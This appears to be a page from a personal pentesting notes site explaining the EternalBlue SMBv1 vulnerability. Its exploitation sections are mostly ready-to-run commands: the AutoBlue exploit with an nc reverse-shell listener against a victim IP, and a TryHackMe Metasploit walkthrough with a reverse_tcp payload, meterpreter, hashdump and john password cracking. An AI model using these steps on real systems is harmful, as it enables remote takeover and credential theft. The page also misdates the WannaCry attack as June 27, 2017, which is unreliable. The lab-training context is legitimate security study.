Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • Why the Vulnerability Occurs
  • Key Features of EternalBlue
  • Exploitation
  • MSF
  • AutoBlue
  • TryHackMe:Blue Exploitation
  1. Flaws w/ Magical Frameworks
  2. Windows

CVE-2017-0144: EternalBlue: MS17-010

PreviousCVE-2019-0708: BlueKeepNextAttacking Services

Last updated 3 months ago

EternalBlue (MS17-010/CVE-2017-0144) is a critical vulnerability in the Windows Server Message Block (SMBv1) protocol that allows attackers to remotely execute arbitrary code and gain access to a Windows system, potentially compromising the entire network. The exploit, developed by the NSA, was leaked by a hacker group called the Shadow Brokers in 2017.

Why the Vulnerability Occurs

The vulnerability occurs due to improper handling of specially crafted SMBv1 packets, allowing attackers to send malicious packets to a vulnerable machine. This flaw enables attackers to execute arbitrary commands remotely without authentication.

The EternalBlue vulnerability occurs because of a buffer overflow in the Windows SMBv1 protocol caused by improper validation of transaction requests. Specifically, the vulnerability involves incorrectly handling the length of the input data fields and the error conditions, which allow attackers to execute arbitrary code remotely. This vulnerability leads to remote code execution with high-level privileges, making it a critical issue that can be exploited to propagate malware like WannaCry across networks.

Key Features of EternalBlue

  • Exploits the SMBv1 vulnerability (MS17-010) in unpatched Windows systems.

  • Affected versions include Windows Vista, 7, Server 2008, 8.1, Server 2012, 10, and Server 2016.

  • Was infamously used in the WannaCry ransomware attack on June 27, 2017, which spread rapidly across networks.

Microsoft released a patch for the vulnerability in March 2017, but many systems remain unpatched, leaving them vulnerable to attacks.

Exploitation

MSF

EternalBlue allows attackers to send crafted packets to a vulnerable system, gaining privileged access. It has an MSF auxiliary module to check if a system is vulnerable and an exploit module to execute the attack, granting a privileged session on unpatched systems. The exploit can also be manually executed using publicly available code.

AutoBlue

# nmap for vulnerability assessment
nmap -sV [IP]
nmap -sV -p 445 --script smb-vuln-ms17-010 [IP]

# using autoblue
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010
pip install -r requirements.txt

cd shellcode
chmod +x shell_prep.sh
./shell_prep.sh

nc -lvnp 1234
chmod +x eternalblue_exploit_winx.py
python eternalblue_exploit_winx.py [Victim IP] shellcode/sc_x64.bin

# command shell on the listening port

TryHackMe:Blue Exploitation

# scan the machine
sudo nmap -Pn -sV -O -sS 10.10.17.20 -oX nmap-blue.xml

w/ MSF

db_import nmap-blue.xml
setg 10.10.17.20

# search and use scanning module
search type:auxiliary name:ms17
use auxiliary/scanner/smb/smb_ms17_010
run

# search and exploit -- easy way
search type:exploit name:ms17
use exploit/windows/smb/ms17_010_eternalblue

# search and exploit -- hard and developed way
set payload windows/x64/shell/reverse_tcp
exploit

# escalate shell to meterpreter session
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

# use the meterpreter session
sessions
sessions -i 2

# cracking
hashdump
# using john
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
# flag
meterpreter> search -f flag*.txt

w/ AutoBlue

# in the autoblue directory
cd shellcode
chmod +x shell_prep.sh
./shell_prep.sh

# reverse shell
nc -lvnp 4567
python eternalblue_exploit_winx.py 10.10.17.20 shellcode/sc_x64.bin

other Semi MSF

🖼️
Eternal Blue Exploit
Microsoft Security Bulletin MS17-010 - CriticalMicrosoftLearn
Logo
NVD - cve-2017-0144
Security Update Guide - Microsoft Security Response Center
Logo
GitHub - EEsshq/CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-ExecutionGitHub
GitHub - 3ndG4me/AutoBlue-MS17-010: This is just an semi-automated fully working, no-bs, non-metasploit version of the public exploit code for MS17-010GitHub
BlueTryHackMe
Logo
EternalBlue without Metasploit
Logo
Hack the Box: Blue — Writeup (Without Metasploit)Medium
Logo
Logo
Logo
Logo